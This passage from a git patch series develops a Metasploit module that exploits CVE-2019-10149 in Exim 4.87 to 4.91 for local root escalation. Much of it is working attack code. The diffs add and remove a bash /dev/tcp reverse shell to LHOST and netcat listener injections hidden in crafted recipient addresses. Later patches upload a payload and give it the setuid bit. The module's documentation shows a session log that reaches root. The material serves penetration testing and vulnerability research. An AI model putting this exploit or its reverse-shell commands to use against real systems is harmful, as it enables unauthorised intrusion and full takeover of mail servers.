"chmod 4755 #{@suid_shell_launcher_path}\"")) - cmd_exec("#{@suid_shell_launcher_path}") + cmd_exec(@suid_shell_launcher_path) + file_rm(@suid_shell_launcher_path) if is_root? print_good('You are now root, enjoy!') return end - print_warning('Couldn\'t escalate privileges, trying netcat method') + print_warning('Couldn\'t escalate privileges, trying reverse shell method') - if cmd_exec('which nc').blank? - print_error('Could\' find netcat') - return - end - - # If nc does not have the -e option, try with nc.traditional - netcat = '' - if !(cmd_exec('nc -e 2>&1') =~ /invalid option/) - netcat = 'nc' - elsif cmd_exec('which nc.traditional').present? - netcat = 'nc.traditional' - end - - # If nc does not have -e option and nc.traditional is not present, - # try fifo method - if netcat.empty? - pipe_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) - encoded_pipe_path = encode_path(pipe_path) - - cmd_exec("mkfifo #{pipe_path}") - inject_payload('${run{\x2fbin\x2fbash\t-c\t\x22nc\t-lp\t' + datastore['NetcatPort'].to_s + - '\t\x3c' + encoded_pipe_path + '\x7c\x2fbin\x2fbash\t2\x3e' + - encoded_pipe_path + '\t\x3e' + encoded_pipe_path + '\x22}}@localhost') - else - inject_payload('${run{\x2fbin\x2fbash\t-c\t\x22' + netcat + '\t-lp\t' + - datastore['NetcatPort'].to_s + '\t-e\t\x2fbin\x2fbash\x22}}@localhost') - end - - cmd_exec("nc 127.0.0.1 #{datastore['NetcatPort']}") - - if netcat.empty? - file_rm(pipe_path) - end - - if is_root? - print_good('You are now root, enjoy!') - else - print_error('Couldn\'t escalate privileges...') - end + inject_payload(encode_command("/bin/bash -c \"/bin/bash -i >& /dev/tcp/#{datastore['LHOST']}/"\ + "#{datastore['LPORT']} 0>&1 &\"")) end end end From 7b2a1b67ed90b079848c1a11fb5ec3335c0d2181 Mon Sep 17 00:00:00 2001 From: yaumn Date: Sun, 7 Jul 2019 00:25:54 +0100 Subject: [PATCH 17/39] Add a documentation file --- .../local/exim4_deliver_message_priv_esc.md | 11 +++++++++++ .../local/exim4_deliver_message_priv_esc.rb | 17 +++++++++++------ 2 files changed, 22 insertions(+), 6 deletions(-) create mode 100644 documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md new file mode 100644 index 0000000000..1098b48add --- /dev/null +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -0,0 +1,11 @@ +# Vulnerable Application + +# Creating A Testing Environment + +# Verification Steps + +# Options + +# Scenarios + + diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 0b6c4e376b..5423f8cb4d 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -14,10 +14,10 @@ class MetasploitModule < Msf::Exploit::Local super(update_info(info, 'Name' => 'Exim 4.87 - 4.91 Privilege Escalation', 'Description' => %q{ - This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). - Improper validation of recipient address in deliver_message() - function in /src/deliver.c may lead to remote command execution - (CVE-2019-10149). + This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). + Improper validation of recipient address in deliver_message() + function in /src/deliver.c may lead to remote command execution + (CVE-2019-10149). }, 'License' => MSF_LICENSE, 'Author' => @@ -149,10 +149,11 @@ class MetasploitModule < Msf::Exploit::Local cmd_exec("chmod +x #{meterpreter_shell}") inject_payload(encode_command("/bin/sh -c \"#{meterpreter_shell}\"")) - if session_created? - return + if !session_created? + print_error('Couldn\'t escalate privileges') end else + print_status('Trying to escalate privileges with setuid method') shell_launcher_c_code = %| #include #include @@ -184,6 +185,10 @@ class MetasploitModule < Msf::Exploit::Local inject_payload(encode_command("/bin/bash -c \"/bin/bash -i >& /dev/tcp/#{datastore['LHOST']}/"\ "#{datastore['LPORT']} 0>&1 &\"")) + + if !session_created? + print_error('Couldn\'t escalate privileges') + end end end end From df46faf71f746d3ee94a20f3dfeae0ebbb48c59b Mon Sep 17 00:00:00 2001 From: yaumn Date: Sun, 7 Jul 2019 23:58:29 +0100 Subject: [PATCH 18/39] Finish documentation. Exploit is stable. --- .../local/exim4_deliver_message_priv_esc.md | 77 +++++++++++++++++ .../local/exim4_deliver_message_priv_esc.rb | 83 ++++++++++--------- 2 files changed, 123 insertions(+), 37 deletions(-) diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md index 1098b48add..6a4c8216c2 100644 --- a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -1,11 +1,88 @@ # Vulnerable Application +Exim 4.87 - 4.91 Local Privilege Escalation + +This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution (CVE-2019-10149). + +Both meterpreter shell and classic shell are supported but the behavior will be slightly different: + +- For both types of shell, the exploit will try to create a new session with the payload you provide. If the exploit goes well, this will be a root session. +- If you have a classic shell and the exploit couldn't create a new session, it will try to upgrade your current session to a root shell. + # Creating A Testing Environment +You basically just need to have a exim (between 4.87 and 4.91 inclusive) running and listening on a port (port 25 by default). +For my tests, I used a VM with Ubuntu 18.04 LTS and exim 4.89 (I tested all the versions from 4.87 to 4.91). The exim source code can be downloaded from the official website (all the old versions can be found). +You can also use this good Docker image which sets up a container with a vulnerable exim version running (https://github.com/dhn/exploits/tree/master/CVE-2019-10149). + +Before using the exploit, make sure exim is actually listening on a port (it may sound stupid, but I struggled a bit when creating a testing environment). However, you should not have any problem if you use the Docker image linked above. + # Verification Steps +1. `use exploit/linux/local/exim4_deliver_message_priv_esc` +2. `set SESSION [session]` +3. `set PAYLOAD [payload]` +4. `set LHOST [lhost]` +5. `set LPORT [lport]` +6. `exploit` + # Options +## PAYLOAD + +Set this option to choose which type of root session you want to create (obviously you should try a meterpreter payload first). + +## EXIMPATH + +The path to the exim executable that is running on the target machine. This is used to check the version of exim to know whether it is vulnerable. If you let this option unset, the exploit will assume that the directory of exim is in the PATH environment variable. + +## EXIMPORT + +The port that exim is listening to. On most cases it will be port 25 (which is the default). + +## WritableDir + +A directory where we can write files (default is /tmp). + + # Scenarios +## Privilege escalation starting with a meterpreter shell +``` +meterpreter > getuid +Server username: uid=1000, gid=1000, euid=1000, egid=1000 +meterpreter > +Background session 1? [y/N] +msf5 exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set session 1 +session => 1 +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lhost 192.168.0.50 +lhost => 192.168.0.50 +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lport 13371 +lport => 13371 +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp +payload => linux/x86/meterpreter/reverse_tcp +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set EXIMPATH /usr/exim/bin/exim +EXIMPATH => /usr/exim/bin/exim +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > check +[*] The target appears to be vulnerable. +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > exploit + +[*] Started reverse TCP handler on 192.168.0.50:13371 +[*] Payload sent, wait a few seconds... +[*] Sending stage (985320 bytes) to 192.168.0.80 +[*] Meterpreter session 2 opened (192.168.0.50:13371 -> 192.168.0.80:45562) at 2019-07-07 23:46:37 +0100 +[+] Deleted /tmp/eMhzFtUYGQ +[+] Check session 2, you should have a root shell! + +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +meterpreter > sysinfo +Computer : 192.168.0.80 +OS : Ubuntu 18.04 (Linux 4.18.0-25-generic) +Architecture : x64 +BuildTuple : i486-linux-musl +Meterpreter : x86/linux +meterpreter > +``` diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 5423f8cb4d..2a4acabd03 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Local def initialize(info = {}) super(update_info(info, - 'Name' => 'Exim 4.87 - 4.91 Privilege Escalation', + 'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation', 'Description' => %q{ This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() @@ -131,64 +131,73 @@ class MetasploitModule < Msf::Exploit::Local end print_status('Payload sent, wait a few seconds...') - sleep(5) + Rex.sleep(5) end def on_new_session(session) - print_good("Check session #{session.name}, you should have a root shell!") - ensure super + + if session.type == 'meterpreter' + session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') + session.fs.file.rm(@suid_shell_launcher) + else + client.shell_command_token("rm -f #{@suid_shell_launcher}") + end + + print_good("Check session #{session.name}, you should have a root shell!") end def exploit - if session.type == 'meterpreter' - meterpreter_shell = File.join(datastore['WritableDir'], - Rex::Text.rand_text_alpha(10)) - write_file(meterpreter_shell, payload.encoded_exe) - register_files_for_cleanup(meterpreter_shell) - cmd_exec("chmod +x #{meterpreter_shell}") - inject_payload(encode_command("/bin/sh -c \"#{meterpreter_shell}\"")) + shell = File.join(datastore['WritableDir'], + Rex::Text.rand_text_alpha(10)) + write_file(shell, payload.encoded_exe) + register_files_for_cleanup(shell) + cmd_exec("chmod +x #{shell}") - if !session_created? - print_error('Couldn\'t escalate privileges') - end - else - print_status('Trying to escalate privileges with setuid method') - shell_launcher_c_code = %| + shell_launcher_c_code = %| #include #include int main() { setuid(0); setgid(0); - execve("/bin/bash", NULL, NULL); + char *argv[] = {"#{shell}", NULL}; + execve("#{shell}", argv, NULL); return 0; } - | + | - @suid_shell_launcher_path = File.join(datastore['WritableDir'], - Rex::Text.rand_text_alpha(10)) - write_file("#{@suid_shell_launcher_path}.c", shell_launcher_c_code) - cmd_exec("gcc -o #{@suid_shell_launcher_path} #{@suid_shell_launcher_path}.c 2>&1") - file_rm("#{@suid_shell_launcher_path}.c") - inject_payload(encode_command("/bin/bash -c \"chown root #{@suid_shell_launcher_path};"\ - "chmod 4755 #{@suid_shell_launcher_path}\"")) - cmd_exec(@suid_shell_launcher_path) - file_rm(@suid_shell_launcher_path) + @suid_shell_launcher = File.join(datastore['WritableDir'], + Rex::Text.rand_text_alpha(10)) + write_file("#{@suid_shell_launcher}.c", shell_launcher_c_code) + cmd_exec("gcc -o #{@suid_shell_launcher} #{@suid_shell_launcher}.c") + file_rm("#{@suid_shell_launcher}.c") + inject_payload(encode_command("/bin/bash -c \"chown root #{@suid_shell_launcher};"\ + "chmod 4755 #{@suid_shell_launcher}\"")) + file_info = cmd_exec("ls -l #{@suid_shell_launcher}") + if file_info =~ /-rwsr-xr-x/ && file_info =~ /root/ + cmd_exec(@suid_shell_launcher) + + if session_created? + return + end + end + + file_rm(shell) + + if session.type == 'shell' + cmd_exec("cp /bin/bash #{shell}") + cmd_exec(@suid_shell_launcher) if is_root? print_good('You are now root, enjoy!') - return - end - - print_warning('Couldn\'t escalate privileges, trying reverse shell method') - - inject_payload(encode_command("/bin/bash -c \"/bin/bash -i >& /dev/tcp/#{datastore['LHOST']}/"\ - "#{datastore['LPORT']} 0>&1 &\"")) - - if !session_created? + else print_error('Couldn\'t escalate privileges') end + else + print_error('Couldn\'t escalate privileges') end + + file_rm(@suid_shell_launcher) end end From b68383141c78f9321e0d6ab1bc1ee518ca4b3759 Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Tue, 9 Jul 2019 16:51:14 +0100 Subject: [PATCH 19/39] Added Qualys and dhn to credits. Set suid bit of payload instead of shell launcher. Print detected exim version Change-Id: I61805a4d2b6f7f8a268b677c3c6f1d76ada034da --- .../local/exim4_deliver_message_priv_esc.rb | 146 +++++++----------- 1 file changed, 58 insertions(+), 88 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 2a4acabd03..b7f9193845 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -12,70 +12,73 @@ class MetasploitModule < Msf::Exploit::Local def initialize(info = {}) super(update_info(info, - 'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation', - 'Description' => %q{ - This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). - Improper validation of recipient address in deliver_message() - function in /src/deliver.c may lead to remote command execution - (CVE-2019-10149). - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Marco Ivaldi (@0xdea)', # Working exploit - 'Guillaume André (@yaumn_)' # Metasploit module - ], - 'DisclosureDate' => '2019-06-05', - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'Targets' => - [ - [ - 'Exim 4.87 - 4.91', - lower_version: Gem::Version.new('4.87'), - upper_version: Gem::Version.new('4.91') - ] - ], - 'References' => - [ - [ 'CVE', '2019-10149' ], - [ 'EDB', '46996' ] - ] - )) + 'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation', + 'Description' => %q{ + This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). + Improper validation of recipient address in deliver_message() + function in /src/deliver.c may lead to remote command execution + (CVE-2019-10149). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Qualys', # Discovery and PoC (@qualys) + 'Dennis Herrmann', # Working exploit (@dhn) + 'Marco Ivaldi', # Working exploit (@0xdea) + 'Guillaume André' # Metasploit module (@yaumn_) + ], + 'DisclosureDate' => '2019-06-05', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ + 'Exim 4.87 - 4.91', + lower_version: Gem::Version.new('4.87'), + upper_version: Gem::Version.new('4.91') + ] + ], + 'DefaultOptions' => + { + 'PrependSetgid' => true, + 'PrependSetuid' => true + }, + 'References' => + [ + [ 'CVE', '2019-10149' ], + [ 'EDB', '46996' ], + [ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ] + ] + )) register_options( [ - OptString.new('EXIMPATH', [false, 'The path to the exim executable (used to check for vulnerability)']), - OptInt.new('EXIMPORT', [true, 'The port exim is listening to', 25]) + OptString.new('EXIMPATH', [ false, 'The path to the exim executable (used to check for vulnerability)' ]), + OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ]) ]) register_advanced_options( [ - OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def check - exim = if datastore['EXIMPATH'] - datastore['EXIMPATH'] - else - 'exim' - end - if cmd_exec("which #{exim}").blank? - print_error('Exim executable not found. You may want to set EXIMPATH.') - return CheckCode::Unknown - end + exim = datastore['EXIMPATH'] ? datastore['EXIMPATH'] : 'exim' res = cmd_exec("#{exim} -bV") if res =~ /Exim version ([0-9\.]*) /i # Maybe improve the regex version = Gem::Version.new($1) + vprint_status("Detected running exim version: #{version}") if version >= target[:lower_version] && version <= target[:upper_version] return CheckCode::Appears else return CheckCode::Safe end end + + print_error('Couldn\'t retrieve exim version. You may want to set EXIMPATH.') CheckCode::Unknown end @@ -139,65 +142,32 @@ class MetasploitModule < Msf::Exploit::Local if session.type == 'meterpreter' session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') - session.fs.file.rm(@suid_shell_launcher) + session.fs.file.rm(@payload_path) else - client.shell_command_token("rm -f #{@suid_shell_launcher}") + session.shell_command_token("rm -f #{@payload_path}") end print_good("Check session #{session.name}, you should have a root shell!") end def exploit - shell = File.join(datastore['WritableDir'], - Rex::Text.rand_text_alpha(10)) - write_file(shell, payload.encoded_exe) - register_files_for_cleanup(shell) - cmd_exec("chmod +x #{shell}") + # TODO: Do a better exploit beginning + # TODO: Check Setuid payload options - shell_launcher_c_code = %| - #include - #include + @payload_path = File.join(datastore['WritableDir'], + Rex::Text.rand_text_alpha(10)) + write_file(@payload_path, payload.encoded_exe) - int main() { - setuid(0); - setgid(0); - char *argv[] = {"#{shell}", NULL}; - execve("#{shell}", argv, NULL); - return 0; - } - | - - @suid_shell_launcher = File.join(datastore['WritableDir'], - Rex::Text.rand_text_alpha(10)) - write_file("#{@suid_shell_launcher}.c", shell_launcher_c_code) - cmd_exec("gcc -o #{@suid_shell_launcher} #{@suid_shell_launcher}.c") - file_rm("#{@suid_shell_launcher}.c") - inject_payload(encode_command("/bin/bash -c \"chown root #{@suid_shell_launcher};"\ - "chmod 4755 #{@suid_shell_launcher}\"")) - file_info = cmd_exec("ls -l #{@suid_shell_launcher}") - if file_info =~ /-rwsr-xr-x/ && file_info =~ /root/ - cmd_exec(@suid_shell_launcher) + inject_payload(encode_command("/bin/bash -c \"chown root #{@payload_path};"\ + "chmod 4755 #{@payload_path}\"")) + if setuid? @payload_path + cmd_exec(@payload_path) if session_created? return end end - file_rm(shell) - - if session.type == 'shell' - cmd_exec("cp /bin/bash #{shell}") - cmd_exec(@suid_shell_launcher) - - if is_root? - print_good('You are now root, enjoy!') - else - print_error('Couldn\'t escalate privileges') - end - else - print_error('Couldn\'t escalate privileges') - end - - file_rm(@suid_shell_launcher) + print_error('Couldn\'t escalate privileges') end end From 5d52b0326b413d376c4ef7034ce7c5493a959c7d Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Wed, 10 Jul 2019 11:33:09 +0100 Subject: [PATCH 20/39] Add better checks at the beginning of the exploit. Change-Id: Ib80907f03f15b6c0cf32b48f059cf042e4d6a91f --- .../local/exim4_deliver_message_priv_esc.rb | 60 ++++++++++++------- 1 file changed, 38 insertions(+), 22 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index b7f9193845..6d879c798f 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -60,26 +60,13 @@ class MetasploitModule < Msf::Exploit::Local register_advanced_options( [ + OptBool.new('ForceExploit', [ false, 'Override check result', false ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end - def check - exim = datastore['EXIMPATH'] ? datastore['EXIMPATH'] : 'exim' - - res = cmd_exec("#{exim} -bV") - if res =~ /Exim version ([0-9\.]*) /i # Maybe improve the regex - version = Gem::Version.new($1) - vprint_status("Detected running exim version: #{version}") - if version >= target[:lower_version] && version <= target[:upper_version] - return CheckCode::Appears - else - return CheckCode::Safe - end - end - - print_error('Couldn\'t retrieve exim version. You may want to set EXIMPATH.') - CheckCode::Unknown + def base_dir + datastore['WritableDir'].to_s end def encode_command(cmd) @@ -150,17 +137,45 @@ class MetasploitModule < Msf::Exploit::Local print_good("Check session #{session.name}, you should have a root shell!") end + def check + exim = datastore['EXIMPATH'] ? datastore['EXIMPATH'] : 'exim' + + res = cmd_exec("#{exim} -bV") + if res =~ /Exim version ([0-9\.]*) /i # Maybe improve the regex + version = Gem::Version.new($1) + vprint_status("Detected running exim version: #{version}") + if version >= target[:lower_version] && version <= target[:upper_version] + return CheckCode::Appears + else + return CheckCode::Safe + end + end + + print_error('Couldn\'t retrieve exim version. You may want to set EXIMPATH.') + CheckCode::Unknown + end + def exploit - # TODO: Do a better exploit beginning - # TODO: Check Setuid payload options + if is_root? + unless datastore['ForceExploit'] + fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') + end + end - @payload_path = File.join(datastore['WritableDir'], - Rex::Text.rand_text_alpha(10)) + unless writable?(base_dir) + fail_with(Failure::BadConfig, "#{base_dir} is not writable") + end + + unless datastore['PrependSetuid'] && datastore['PrependSetgid'] + fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \ + 'to get root privileges.') + end + + @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) write_file(@payload_path, payload.encoded_exe) - inject_payload(encode_command("/bin/bash -c \"chown root #{@payload_path};"\ "chmod 4755 #{@payload_path}\"")) - if setuid? @payload_path + if setuid?(@payload_path) cmd_exec(@payload_path) if session_created? @@ -168,6 +183,7 @@ class MetasploitModule < Msf::Exploit::Local end end + file_rm(@payload_path) print_error('Couldn\'t escalate privileges') end end From df28038279175530df8a91af91bb8cfd99c5f294 Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Wed, 10 Jul 2019 11:42:02 +0100 Subject: [PATCH 21/39] Update documentation Change-Id: I68d9e08695ed7cf0476d70030c1ff44c770c425b --- .../exploit/linux/local/exim4_deliver_message_priv_esc.md | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md index 6a4c8216c2..5447111486 100644 --- a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -4,10 +4,7 @@ Exim 4.87 - 4.91 Local Privilege Escalation This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution (CVE-2019-10149). -Both meterpreter shell and classic shell are supported but the behavior will be slightly different: - -- For both types of shell, the exploit will try to create a new session with the payload you provide. If the exploit goes well, this will be a root session. -- If you have a classic shell and the exploit couldn't create a new session, it will try to upgrade your current session to a root shell. +Both meterpreter shell and classic shell are supported. The exploit will try to upload the payload you give him, set the suid bit on this payload and execute it to create a new root session. In order for the new session to be a root one, both PrependSetuid and PrependSetgid must be set to true (which is the default configuration for the exploit). # Creating A Testing Environment From 8b54d0669d838a3f735cfdf329d12e0d8aa074da Mon Sep 17 00:00:00 2001 From: yaumn <37782106+yaumn@users.noreply.github.com> Date: Wed, 10 Jul 2019 17:22:26 +0100 Subject: [PATCH 22/39] Update documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md Co-Authored-By: bcoles --- .../exploit/linux/local/exim4_deliver_message_priv_esc.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md index 5447111486..2ba1b7d4f3 100644 --- a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -4,7 +4,7 @@ Exim 4.87 - 4.91 Local Privilege Escalation This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution (CVE-2019-10149). -Both meterpreter shell and classic shell are supported. The exploit will try to upload the payload you give him, set the suid bit on this payload and execute it to create a new root session. In order for the new session to be a root one, both PrependSetuid and PrependSetgid must be set to true (which is the default configuration for the exploit). +Both meterpreter shell and classic shell are supported. The exploit will upload the specified `payload`, set the suid bit, and execute it to create a new root session. In order for the new session to be a root one, both `PrependSetuid` and `PrependSetgid` must be set to true (which is the default configuration for the exploit), and the `WritableDir` must be mounted without `nosuid`. # Creating A Testing Environment From f1eda910036ff72370ae467a0fe7e1c7f1318003 Mon Sep 17 00:00:00 2001 From: yaumn <37782106+yaumn@users.noreply.github.com> Date: Wed, 10 Jul 2019 17:22:38 +0100 Subject: [PATCH 23/39] Update documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md Co-Authored-By: bcoles --- .../exploit/linux/local/exim4_deliver_message_priv_esc.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md index 2ba1b7d4f3..df7d93ac76 100644 --- a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -31,7 +31,7 @@ Set this option to choose which type of root session you want to create (obvious ## EXIMPATH -The path to the exim executable that is running on the target machine. This is used to check the version of exim to know whether it is vulnerable. If you let this option unset, the exploit will assume that the directory of exim is in the PATH environment variable. +The path to the exim executable that is running on the target machine. This is used to check the version of exim to know whether it is vulnerable. If you let this option unset, the exploit will assume that the directory of exim is in the `$PATH` environment variable. ## EXIMPORT From a06dffa1747b4185fbd5a32181ddddedd714304d Mon Sep 17 00:00:00 2001 From: yaumn <37782106+yaumn@users.noreply.github.com> Date: Wed, 10 Jul 2019 17:22:52 +0100 Subject: [PATCH 24/39] Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb Co-Authored-By: bcoles --- modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 6d879c798f..8eb2823f9e 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Local super(update_info(info, 'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation', 'Description' => %q{ - This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). + This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution (CVE-2019-10149). From 9ffbfe0985fb7fa5b1ad91d6d1395c6b9f8cd74e Mon Sep 17 00:00:00 2001 From: yaumn <37782106+yaumn@users.noreply.github.com> Date: Wed, 10 Jul 2019 17:23:38 +0100 Subject: [PATCH 25/39] Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb Co-Authored-By: bcoles --- modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 8eb2823f9e..04050c1ace 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -176,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Local inject_payload(encode_command("/bin/bash -c \"chown root #{@payload_path};"\ "chmod 4755 #{@payload_path}\"")) if setuid?(@payload_path) - cmd_exec(@payload_path) + cmd_exec("#{@payload_path & echo ") if session_created? return From af89433c1d3f59ca665360d26b42466664ee2bd6 Mon Sep 17 00:00:00 2001 From: yaumn <37782106+yaumn@users.noreply.github.com> Date: Wed, 10 Jul 2019 17:23:50 +0100 Subject: [PATCH 26/39] Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb Co-Authored-By: bcoles --- modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 04050c1ace..bbe684d961 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -143,7 +143,7 @@ class MetasploitModule < Msf::Exploit::Local res = cmd_exec("#{exim} -bV") if res =~ /Exim version ([0-9\.]*) /i # Maybe improve the regex version = Gem::Version.new($1) - vprint_status("Detected running exim version: #{version}") + vprint_status("Found exim version: #{version}") if version >= target[:lower_version] && version <= target[:upper_version] return CheckCode::Appears else From 7812e0037b4210a02d885d353c1c0feb2533a2a2 Mon Sep 17 00:00:00 2001 From: yaumn <37782106+yaumn@users.noreply.github.com> Date: Wed, 10 Jul 2019 17:24:13 +0100 Subject: [PATCH 27/39] Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb Co-Authored-By: bcoles --- modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index bbe684d961..61c5dfa04e 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -151,7 +151,7 @@ class MetasploitModule < Msf::Exploit::Local end end - print_error('Couldn\'t retrieve exim version. You may want to set EXIMPATH.') + vprint_error("Couldn't retrieve exim version. You may want to set EXIMPATH.") CheckCode::Unknown end From 074c73236ac519b3df373e34cb0b1720b57b8c86 Mon Sep 17 00:00:00 2001 From: yaumn <37782106+yaumn@users.noreply.github.com> Date: Wed, 10 Jul 2019 17:24:32 +0100 Subject: [PATCH 28/39] Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb Co-Authored-By: bcoles --- modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 61c5dfa04e..1d9dc57a28 100644 --- 